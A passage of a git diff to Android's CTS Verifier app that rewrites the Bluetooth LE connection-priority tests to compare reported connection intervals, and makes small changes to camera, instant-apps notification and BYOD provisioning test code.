-    public static final String ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER =

-            "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_LOW_POWER";

+    public static final String ACTION_CONNECTION_PRIORITY_FINISH =

+            "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_FINISH";

 

     public static final String ACTION_CLIENT_CONNECT_SECURE =

             "com.android.cts.verifier.bluetooth.action.CLIENT_CONNECT_SECURE";

@@ -84,20 +76,7 @@
     public static final String ACTION_FINISH_DISCONNECT =

             "com.android.cts.verifier.bluetooth.action.FINISH_DISCONNECT";

 

-    public static final long DEFAULT_INTERVAL = 100L;

-    public static final long DEFAULT_PERIOD = 10000L;

-

-    // this string will be used at writing test and connection priority test.

-    private static final String WRITE_VALUE = "TEST";

-

-    private static final UUID SERVICE_UUID =

-            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");

-    private static final UUID CHARACTERISTIC_UUID =

-            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");

-    private static final UUID START_CHARACTERISTIC_UUID =

-            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");

-    private static final UUID STOP_CHARACTERISTIC_UUID =

-            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");

+    public static final int NOT_UNDER_TEST = -1;

 

     private BluetoothManager mBluetoothManager;

     private BluetoothAdapter mBluetoothAdapter;

@@ -108,13 +87,12 @@
     private Context mContext;

 

     private String mAction;

-    private long mInterval;

-    private long mPeriod;

-    private Date mStartDate;

-    private int mWriteCount;

     private boolean mSecure;

 

-    private String mPriority;

+    private int mPriority = NOT_UNDER_TEST;

+    private int interval_low = 0;

+    private int interval_balanced = 0;

+    private int interval_high = 0;

 

     private TestTaskQueue mTaskQueue;

 

@@ -129,8 +107,6 @@
         mScanner = mBluetoothAdapter.getBluetoothLeScanner();

         mHandler = new Handler();

         mContext = this;

-        mInterval = DEFAULT_INTERVAL;

-        mPeriod = DEFAULT_PERIOD;

 

         startScan();

     }

@@ -171,15 +147,8 @@
                 case ACTION_CLIENT_CONNECT_SECURE:

                     mSecure = true;

                     break;

-                case ACTION_CONNECTION_PRIORITY_BALANCED:

-                case ACTION_CONNECTION_PRIORITY_HIGH:

-                case ACTION_CONNECTION_PRIORITY_LOW_POWER:

-                    mTaskQueue.addTask(new Runnable() {

-                        @Override

-                        public void run() {

-                            startPeriodicTransmission();

-                        }

-                    });

+                case ACTION_CONNECTION_PRIORITY_START:

+                    myRequestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_LOW_POWER);

                     break;

                 case ACTION_DISCONNECT:

                     if (mBluetoothGatt != null) {

@@ -194,120 +163,17 @@
         return START_NOT_STICKY;

     }

 

-    private void startPeriodicTransmission() {

-        mWriteCount = 0;

-

-        // Set connection priority

-        switch (mAction) {

-        case ACTION_CONNECTION_PRIORITY_BALANCED:

-            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED;

-            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);

-            break;

-        case ACTION_CONNECTION_PRIORITY_HIGH:

-            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH;

-            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_HIGH);

-            break;

-        case ACTION_CONNECTION_PRIORITY_LOW_POWER:

-            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_LOW_POWER;

-            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_LOW_POWER);

-            break;

-        default:

-            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED;

-            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);

-            break;

-        }

-

-        // Create Timer for Periodic transmission

-        mStartDate = new Date();

-        TimerTask task = new TimerTask() {

-            @Override

-            public void run() {

-                if (mBluetoothGatt == null) {

-                    if (DEBUG) {

-                        Log.d(TAG, "BluetoothGatt is null, return");

-                    }

-                    return;

-                }

-

-                Date currentData = new Date();

-                if ((currentData.getTime() - mStartDate.getTime()) >= mPeriod) {

-                    if (mConnectionTimer != null) {

-                        mConnectionTimer.cancel();

-                        mConnectionTimer = null;

-                    }

-                    // The STOP_CHARACTERISTIC_UUID is critical in syncing the client and server

-                    // states.  Delay the write by 2 seconds to improve the chance of this

-                    // characteristic going through.  Consider changing the code to use callbacks

-                    // in the future to make it more robust.

-                    sleep(2000);

-                    // write termination data (contains current priority and number of messages wrote)

-                    String msg = "" + mPriority + "," + mWriteCount;

-                    writeCharacteristic(STOP_CHARACTERISTIC_UUID, msg);

-                    sleep(1000);

-                    Intent intent = new Intent();

-                    switch (mPriority) {

-                    case BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED:

-                        intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_BALANCED);

-                        break;

-                    case BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH:

-                        intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_HIGH);

-                        break;

-                    case BleConnectionPriorityServerService.CONNECTION_PRIORITY_LOW_POWER:

-                        intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER);

-                        break;

-                    }

-                    sendBroadcast(intent);

-                }

-

-                if (mConnectionTimer != null) {

-                    // write testing data

-                    ++mWriteCount;

-                    writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE);

-                }

-            }

-        };

-

-        // write starting data

-        writeCharacteristic(START_CHARACTERISTIC_UUID, mPriority);

-

-        // start sending

-        sleep(1000);

-        mConnectionTimer = new Timer();

-        mConnectionTimer.schedule(task, 0, mInterval);

+    private void myRequestConnectionPriority(final int priority) {

+        mTaskQueue.addTask(new Runnable() {

+                                @Override

+                                public void run() {

+                                    mPriority = priority;

+                                    mBluetoothGatt.requestConnectionPriority(mPriority);

+                                    //continue in onConnectionUpdated() callback

+                                }

+                            });

     }

 

-    private BluetoothGattService getService() {

-        BluetoothGattService service = null;

-

-        if (mBluetoothGatt != null) {

-            service = mBluetoothGatt.getService(SERVICE_UUID);

-            if (service == null) {

-                showMessage("Service not found");

-            }

-        }

-        return service;

-    }

-

-    private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {

-        BluetoothGattCharacteristic characteristic = null;

-

-        BluetoothGattService service = getService();

-        if (service != null) {

-            characteristic = service.getCharacteristic(uuid);

-            if (characteristic == null) {

-                showMessage("Characteristic not found");

-            }

-        }

-        return characteristic;

-    }

-

-    private void writeCharacteristic(UUID uid, String writeValue) {

-        BluetoothGattCharacteristic characteristic = getCharacteristic(uid);

-        if (characteristic != null){

-            characteristic.setValue(writeValue);

-            mBluetoothGatt.writeCharacteristic(characteristic);

-        }

-    }

 

     private void sleep(int millis) {

         try {

@@ -372,19 +238,56 @@
             if (DEBUG){

                 Log.d(TAG, "onServiceDiscovered");

             }

-            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {

+            if (status == BluetoothGatt.GATT_SUCCESS) {

                 showMessage("Service discovered");

                 Intent intent = new Intent(ACTION_CONNECTION_SERVICES_DISCOVERED);

                 sendBroadcast(intent);

             }

-        }

 

-        @Override

-        public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {

-            String value = characteristic.getStringValue(0);

-            UUID uid = characteristic.getUuid();

-            if (DEBUG) {

-                Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status + " uid=" + uid);

+            //onConnectionUpdated is hidden callback, can't be marked as @Override.

+            // We must have a call to it, otherwise compiler will delete it during optimization.

+            if (status == 0xFFEFFEE) {

+                // This should never execute, but will make compiler not remove onConnectionUpdated 

+                onConnectionUpdated(null, 0, 0, 0, 0);

+                throw new IllegalStateException("This should never happen!");

+            }

+        }

+ 

+        // @Override uncomment once this becomes public API

+        public void onConnectionUpdated(BluetoothGatt gatt, int interval, int latency, int timeout,

+            int status) {

+            if (mPriority == NOT_UNDER_TEST) return;

+

+            if (status != 0) {

+                showMessage("onConnectionUpdated() error, status=" + status );

+                Log.e(TAG, "onConnectionUpdated() status=" + status);

+                return;

+            }

+

+            Log.i(TAG, "onConnectionUpdated() status=" + status + ", interval=" + interval);

+            if (mPriority == BluetoothGatt.CONNECTION_PRIORITY_LOW_POWER) {

+                interval_low = interval;

+                myRequestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);

+            } else if (mPriority == BluetoothGatt.CONNECTION_PRIORITY_BALANCED) {

+                interval_balanced = interval;

+                myRequestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_HIGH);

+            } else if (mPriority == BluetoothGatt.CONNECTION_PRIORITY_HIGH) {

+                interval_high = interval;

+

+                if (interval_low < interval_balanced || interval_balanced < interval_high) {

+                   showMessage("interval value should be descending - failure!");

+                   Log.e(TAG, "interval values should be descending: interval_low=" + interval_low +

+                            ", interval_balanced=" + interval_balanced + ", interval_high=" + interval_high);

+                   return;

+                }

+

+                showMessage("intervals: " + interval_low +" > " + interval_balanced + " > " + interval_high);

+         

+                Intent intent = new Intent();

+                intent.setAction(ACTION_CONNECTION_PRIORITY_FINISH);

+                sendBroadcast(intent);

+        

+                mPriority = NOT_UNDER_TEST;

             }

         }

     };

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
index c0a2f09..66e068e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
@@ -37,12 +37,6 @@
 public class BleConnectionPriorityServerBaseActivity extends PassFailButtons.Activity {

 

     public static final int CONNECTION_PRIORITY_HIGH = 0;

-    public static final int CONNECTION_PRIORITY_BALANCED = 1;

-    public static final int CONNECTION_PRIORITY_LOW_POWER = 2;

-

-    private long mAverageBalanced = -1;

-    private long mAverageHigh = -1;

-    private long mAverageLow = -1;

 

     private TestAdapter mTestAdapter;

 

@@ -71,10 +65,7 @@
 

         IntentFilter filter = new IntentFilter();

         filter.addAction(BleConnectionPriorityServerService.ACTION_BLUETOOTH_DISABLED);

-        filter.addAction(BleConnectionPriorityServerService.ACTION_CONNECTION_WRITE_REQUEST);

-        filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT);

-        filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED);

-        filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_LOW);

+        filter.addAction(BleConnectionPriorityServerService.ACTION_CONNECTION_PRIORITY_FINISH);

         filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);

         filter.addAction(BleServerService.BLE_OPEN_FAIL);

         filter.addAction(BleConnectionPriorityServerService.ACTION_START_CONNECTION_PRIORITY_TEST);

@@ -90,9 +81,7 @@
 

     private List<Integer> setupTestList() {

         ArrayList<Integer> testList = new ArrayList<Integer>();

-        testList.add(R.string.ble_connection_priority_client_high);

-        testList.add(R.string.ble_connection_priority_client_balanced);

-        testList.add(R.string.ble_connection_priority_client_low);

+        testList.add(R.string.ble_connection_priority_client_description);

         return testList;

     }

 

@@ -130,8 +119,8 @@
     private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

         @Override

         public void onReceive(Context context, Intent intent) {

+            boolean passedAll = false;

             String action = intent.getAction();

-            long average = intent.getLongExtra(BleConnectionPriorityServerService.EXTRA_AVERAGE, -1);

             switch (action) {

             case BleConnectionPriorityServerService.ACTION_BLUETOOTH_DISABLED:

                 new AlertDialog.Builder(context)

@@ -148,64 +137,12 @@
             case BleConnectionPriorityServerService.ACTION_START_CONNECTION_PRIORITY_TEST:

                 showProgressDialog();

                 break;

-            case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT:

-                mAverageHigh = average;

-                mAverageBalanced = -1;

-                mAverageLow = -1;

-                break;

-            case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED:

-                mAverageBalanced = average;

-                break;

-            case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_LOW:

-                mAverageLow = average;

-                break;

-            case BleServerService.BLE_OPEN_FAIL:

-                setTestResultAndFinish(false);

-                runOnUiThread(new Runnable() {

-                    @Override

-                    public void run() {

-                        Toast.makeText(BleConnectionPriorityServerBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();

-                    }

-                });

-                break;

-            case BleServerService.BLE_ADVERTISE_UNSUPPORTED:

-                showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);

-                break;

-            }

-

-            boolean passedHigh = (mAverageHigh >= 0);

-            boolean passedAll = false;

-

-            if (passedHigh) {

-                mTestAdapter.setTestPass(CONNECTION_PRIORITY_HIGH);

-            }

-

-            if (passedHigh && (mAverageLow >= 0) && (mAverageBalanced >= 0)) {

-                boolean passedBalanced = (mAverageHigh <= mAverageBalanced);

-                boolean passedLow = (mAverageBalanced <= mAverageLow);

-

-                if (passedBalanced) {

-                    mTestAdapter.setTestPass(CONNECTION_PRIORITY_BALANCED);

-                }

-                if (passedLow) {

-                    mTestAdapter.setTestPass(CONNECTION_PRIORITY_LOW_POWER);

-                }

-

-                String resultMsg;

-                if (passedBalanced && passedLow) {

-                    resultMsg = getString(R.string.ble_server_connection_priority_result_passed);

-                    passedAll = true;

-                } else {

-                    String detailsMsg = String.format(getString(R.string.ble_server_connection_priority_result_intervals),

-                            mAverageHigh,

-                            mAverageBalanced,

-                            mAverageLow);

-                    resultMsg = getString(R.string.ble_server_connection_priority_result_failed)

-                            + "\n\n"

-                            + detailsMsg;

-                }

+            case BleConnectionPriorityServerService.ACTION_CONNECTION_PRIORITY_FINISH:

+                String resultMsg = getString(R.string.ble_server_connection_priority_result_passed);

 

                 closeDialog();

+

+                mTestAdapter.setTestPass(CONNECTION_PRIORITY_HIGH);

                 mDialog = new AlertDialog.Builder(BleConnectionPriorityServerBaseActivity.this)

                         .setMessage(resultMsg)

                         .setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {

@@ -222,10 +159,25 @@
                         })

                         .create();

                 mDialog.show();

+

+                getPassButton().setEnabled(true);

+                mTestAdapter.notifyDataSetChanged();

+                break;

+

+            case BleServerService.BLE_OPEN_FAIL:

+                setTestResultAndFinish(false);

+                runOnUiThread(new Runnable() {

+                    @Override

+                    public void run() {

+                        Toast.makeText(BleConnectionPriorityServerBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();

+                    }

+                });

+                break;

+            case BleServerService.BLE_ADVERTISE_UNSUPPORTED:

+                showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);

+                break;

             }

 

-            getPassButton().setEnabled(passedAll);

-            mTestAdapter.notifyDataSetChanged();

         }

     };

 

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
index e1e4eed..ccffcdb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
@@ -45,43 +45,16 @@
 public class BleConnectionPriorityServerService extends Service {

     public static final boolean DEBUG = true;

     public static final String TAG = "BlePriorityServer";

-    private static final String RESET_COUNT_VALUE = "RESET";

-    private static final String START_VALUE = "START";

-    private static final String STOP_VALUE = "STOP";

-    public static final String CONNECTION_PRIORITY_HIGH = "PR_H";

-    public static final String CONNECTION_PRIORITY_BALANCED = "PR_B";

-    public static final String CONNECTION_PRIORITY_LOW_POWER = "PR_L";

 

     public static final String ACTION_BLUETOOTH_DISABLED =

             "com.android.cts.verifier.bluetooth.action.BLUETOOTH_DISABLED";

 

-    public static final String ACTION_CONNECTION_WRITE_REQUEST =

-            "com.android.cts.verifier.bluetooth.action.CONNECTION_WRITE_REQUEST";

-    public static final String EXTRA_REQUEST_COUNT =

-            "com.android.cts.verifier.bluetooth.intent.EXTRA_REQUEST_COUNT";

-    public static final String ACTION_FINICH_CONNECTION_PRIORITY_HIGHT =

-            "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT";

-    public static final String ACTION_FINICH_CONNECTION_PRIORITY_BALANCED =

-            "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED";

-    public static final String ACTION_FINICH_CONNECTION_PRIORITY_LOW =

-            "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_LOW";

+    public static final String ACTION_CONNECTION_PRIORITY_FINISH =

+            "com.android.cts.verifier.bluetooth.action.ACTION_CONNECTION_PRIORITY_FINISH";

 

     public static final String ACTION_START_CONNECTION_PRIORITY_TEST =

             "com.android.cts.verifier.bluetooth.action.ACTION_START_CONNECTION_PRIORITY_TEST";

 

-    public static final String EXTRA_AVERAGE =

-            "com.android.cts.verifier.bluetooth.intent.EXTRA_AVERAGE";

-

-    private static final UUID SERVICE_UUID =

-            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");

-    private static final UUID CHARACTERISTIC_UUID =

-            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");

-    private static final UUID START_CHARACTERISTIC_UUID =

-            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");

-    private static final UUID STOP_CHARACTERISTIC_UUID =

-            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");

-    private static final UUID DESCRIPTOR_UUID =

-            UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");

     public static final UUID ADV_SERVICE_UUID=

             UUID.fromString("00002222-0000-1000-8000-00805f9b34fb");

 

@@ -92,8 +65,10 @@
     private Handler mHandler;

     private BluetoothLeAdvertiser mAdvertiser;

     private long mReceiveWriteCount;

-    private Timer mTimeoutTimer;

-    private TimerTask mTimeoutTimerTask;

+

+    private int interval_low = 0;

+    private int interval_balanced = 0;

+    private int interval_high = 0;

 

     @Override

     public void onCreate() {

@@ -102,10 +77,6 @@
         mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

         mAdvertiser = mBluetoothManager.getAdapter().getBluetoothLeAdvertiser();

         mGattServer = mBluetoothManager.openGattServer(this, mCallbacks);

-        mService = createService();

-        if ((mGattServer != null) && (mAdvertiser != null)) {

-            mGattServer.addService(mService);

-        }

         mDevice = null;

         mHandler = new Handler();

 

@@ -124,14 +95,6 @@
     public void onDestroy() {

         super.onDestroy();

 

-        cancelTimeoutTimer(false);

-

-        if (mTimeoutTimer != null) {

-            mTimeoutTimer.cancel();

-            mTimeoutTimer = null;

-        }

-        mTimeoutTimerTask = null;

-

         stopAdvertise();

         if (mGattServer == null) {

             return;

@@ -194,21 +157,6 @@
         }

     }

 

-    private void notifyServiceAdded() {

-        if (DEBUG) {

-            Log.d(TAG, "notifyServiceAdded");

-        }

-    }

-

-    private void notifyCharacteristicWriteRequest() {

-        if (DEBUG) {

-            Log.d(TAG, "notifyCharacteristicWriteRequest");

-        }

-        Intent intent = new Intent(ACTION_CONNECTION_WRITE_REQUEST);

-        intent.putExtra(EXTRA_REQUEST_COUNT, String.valueOf(mReceiveWriteCount));

-        sendBroadcast(intent);

-    }

-

     private void showMessage(final String msg) {

         mHandler.post(new Runnable() {

             @Override

@@ -218,38 +166,6 @@
         });

     }

 

-    private synchronized void cancelTimeoutTimer(boolean runTimeout) {

-        if (mTimeoutTimerTask != null) {

-            mTimeoutTimer.cancel();

-            if (runTimeout) {

-                mTimeoutTimerTask.run();

-            }

-            mTimeoutTimerTask = null;

-            mTimeoutTimer = null;

-        }

-    }

-

-    private BluetoothGattService createService() {

-        BluetoothGattService service =

-                new BluetoothGattService(SERVICE_UUID, BluetoothGattService.SERVICE_TYPE_PRIMARY);

-        // add characteristic to service

-        //   property: 0x0A (read, write)

-        //   permission: 0x11 (read, write)

-        BluetoothGattCharacteristic characteristic =

-                new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);

-        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);

-        characteristic.addDescriptor(descriptor);

-        service.addCharacteristic(characteristic);

-        characteristic = new BluetoothGattCharacteristic(START_CHARACTERISTIC_UUID, 0x0A, 0x11);

-        characteristic.addDescriptor(descriptor);

-        service.addCharacteristic(characteristic);

-        characteristic = new BluetoothGattCharacteristic(STOP_CHARACTERISTIC_UUID, 0x0A, 0x11);

-        characteristic.addDescriptor(descriptor);

-        service.addCharacteristic(characteristic);

-

-        return service;

-    }

-

     private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {

         @Override

         public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {

@@ -261,120 +177,50 @@
                     mDevice = device;

                     notifyConnected();

                 } else if (status == BluetoothProfile.STATE_DISCONNECTED) {

-                    cancelTimeoutTimer(true);

                     notifyDisconnected();

                     mDevice = null;

                 }

             }

+

+            //onConnectionUpdated is hidden callback, can't be marked as @Override.

+            // We must have a call to it, otherwise compiler will delete it during optimization.

+            if (status == 0xFFEFFEE) {

+                // This should never execute, but will make compiler not remove onConnectionUpdated 

+                onConnectionUpdated(null, 0, 0, 0, 0);

+                throw new IllegalStateException("This should never happen!");

+            }

+

         }

 

-        @Override

-        public void onServiceAdded(int status, BluetoothGattService service) {

-            if (DEBUG) {

-                Log.d(TAG, "onServiceAdded()");

-            }

-            if (status == BluetoothGatt.GATT_SUCCESS) {

-                notifyServiceAdded();

-            }

-        }

+        // @Override uncomment once this becomes public API

+        public void onConnectionUpdated(BluetoothDevice device, int interval, int latency, int timeout, int status) {

+            Log.i(TAG, "onConnectionUpdated() status=" + status + ", interval=" + interval);

 

-        String mPriority = null;

-

-        @Override

-        public void onCharacteristicWriteRequest(BluetoothDevice device, int requestId,

-                                                 BluetoothGattCharacteristic characteristic,

-                                                 boolean preparedWrite, boolean responseNeeded,

-                                                 int offset, byte[] value) {

-            if (mGattServer == null) {

-                if (DEBUG) {

-                    Log.d(TAG, "GattServer is null, return");

-                }

-                return;

-            }

-            if (DEBUG) {

-                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite);

+            if (status != 0) {

+               interval_low = interval_balanced = interval_high = 0;

+               return;

             }

 

-            if (characteristic.getUuid().equals(START_CHARACTERISTIC_UUID)) {

-                // time out if previous measurement is running

-                cancelTimeoutTimer(true);

+            // since we don't know when the test started, wait for three descending interval values.

+            // Even though conneciton is updated by service discovery, it never happen three times

+            // descending in any scenario. 

 

-                mPriority = new String(value);

-                Log.d(TAG, "Start Count Up. Priority is " + mPriority);

-                if (BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH.equals(mPriority)) {

-                    notifyTestStart();

-                }

+            // shift all values

+            interval_low = interval_balanced;

+            interval_balanced = interval_high;

+            interval_high = interval;

 

-                // start timeout timer

-                mTimeoutTimer = new Timer(getClass().getName() + "_TimeoutTimer");

-                mTimeoutTimerTask = new TimerTask() {

-                    @Override

-                    public void run() {

-                        // measurement timed out

-                        mTimeoutTimerTask = null;

-                        mTimeoutTimer = null;

-                        mReceiveWriteCount = 0;

-                        notifyMeasurementFinished(mPriority, Long.MAX_VALUE);

-                    }

-                };

-                mTimeoutTimer.schedule(mTimeoutTimerTask, (BleConnectionPriorityClientService.DEFAULT_PERIOD * 2));

-

-                mReceiveWriteCount = 0;

-            } else if (characteristic.getUuid().equals(STOP_CHARACTERISTIC_UUID)) {

-                boolean isRunning = (mTimeoutTimerTask != null);

-                cancelTimeoutTimer(false);

-

-                String valeStr = new String(value);

-                String priority = null;

-                int writeCount = -1;

-                int sep = valeStr.indexOf(",");

-                if (sep > 0) {

-                    priority = valeStr.substring(0, sep);

-                    writeCount = Integer.valueOf(valeStr.substring(sep + 1));

-                }

-

-                if ((mPriority != null) && isRunning) {

-                    if (mPriority.equals(priority)) {

-                        long averageTime = BleConnectionPriorityClientService.DEFAULT_PERIOD / mReceiveWriteCount;

-                        notifyMeasurementFinished(mPriority, averageTime);

-                        Log.d(TAG, "Received " + mReceiveWriteCount + " of " + writeCount + " messages");

-                    } else {

-                        Log.d(TAG, "Connection priority does not match");

-                        showMessage("Connection priority does not match");

-                    }

-                } else {

-                    Log.d(TAG, "Not Start Count UP.");

-                }

-                mReceiveWriteCount = 0;

-            } else {

-                if (mTimeoutTimerTask != null) {

-                    ++mReceiveWriteCount;

-                }

-                if (!preparedWrite) {

-                    characteristic.setValue(value);

-                }

-            }

-

-            if (responseNeeded) {

-                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, 0, null);

+            // If we end up with three descending values, test is passed.

+            if (interval_low > interval_balanced && interval_balanced > interval_high) {

+                showMessage("intervals: " + interval_low +" > " + interval_balanced + " > " + interval_high);

+                notifyMeasurementFinished();

             }

         }

     };

 

-    private void notifyMeasurementFinished(String priority, long averageTime) {

+    private void notifyMeasurementFinished() {

         Intent intent = new Intent();

-        intent.putExtra(EXTRA_AVERAGE, averageTime);

-        switch (priority) {

-            case CONNECTION_PRIORITY_HIGH:

-                intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_HIGHT);

-                break;

-            case CONNECTION_PRIORITY_BALANCED:

-                intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_BALANCED);

-                break;

-            case CONNECTION_PRIORITY_LOW_POWER:

-                intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_LOW);

-                break;

-        }

+        intent.setAction(ACTION_CONNECTION_PRIORITY_FINISH);

         sendBroadcast(intent);

     }

 

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
index e8bdcc7..3904f09 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
@@ -545,7 +545,8 @@
                                     mUntestedCombinations.remove(combination);
                                     mTestedCombinations.add(combination);
 
-                                    if (mUntestedCombinations.isEmpty()) {
+                                    if (mUntestedCombinations.isEmpty() &&
+                                            mUntestedCameras.isEmpty()) {
                                         mPassButton.setEnabled(true);
                                         if (VERBOSE) {
                                             Log.v(TAG, "run: test success");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
old mode 100644
new mode 100755
index 6e2052c..77caeb9
--- a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
@@ -16,6 +16,8 @@
 package com.android.cts.verifier.instantapps;
 
 import android.os.Bundle;
+import android.os.SystemProperties;
+import android.content.pm.PackageManager;
 import android.widget.TextView;
 
 import com.android.cts.verifier.R;
@@ -34,6 +36,18 @@
 
         setInfoResources(R.string.ia_notification, R.string.ia_notification_info, -1);
         TextView extraText = (TextView) findViewById(R.id.instruction_extra_text);
-        extraText.setText(R.string.ia_notification_instruction_label);
+        if (isNoGooglePlayStore()) {
+            extraText.setText(R.string.ia_notification_instruction_label_no_app_market_version);
+        } else {
+            extraText.setText(R.string.ia_notification_instruction_label);
+        }
+    }
+
+    private boolean isNoGooglePlayStore() {
+        boolean isCnGmsVersion =
+                getApplicationContext().getPackageManager().hasSystemFeature("cn.google.services");
+        boolean isNoGmsVersion =
+                (SystemProperties.get("ro.com.google.gmsversion", null) == null);
+        return isCnGmsVersion || isNoGmsVersion;
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index e781558..cef8ae3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -19,12 +19,17 @@
 import android.app.KeyguardManager;
 import android.app.admin.DevicePolicyManager;
 import android.content.ActivityNotFoundException;
+import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.SharedPreferences;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
 import android.provider.Settings;
 import android.util.Log;
 import android.widget.Toast;
@@ -59,6 +64,7 @@
     protected static final String HELPER_APP_PATH = "/data/local/tmp/NotificationBot.apk";
 
     private static final String TAG = "ByodFlowTestActivity";
+    private static final int PROVISIONING_CHECK_PERIOD_MS = 3000;
     private static ConnectivityManager mCm;
     private static final int REQUEST_MANAGED_PROVISIONING = 0;
     private static final int REQUEST_PROFILE_OWNER_STATUS = 1;
@@ -66,6 +72,13 @@
     private static final int REQUEST_CHECK_DISK_ENCRYPTION = 3;
     private static final int REQUEST_SET_LOCK_FOR_ENCRYPTION = 4;
 
+    private static final String PROVISIONING_PREFERENCES = "provisioning_preferences";
+    private static final String PREFERENCE_PROVISIONING_COMPLETE_STATUS =
+            "provisioning_complete_status";
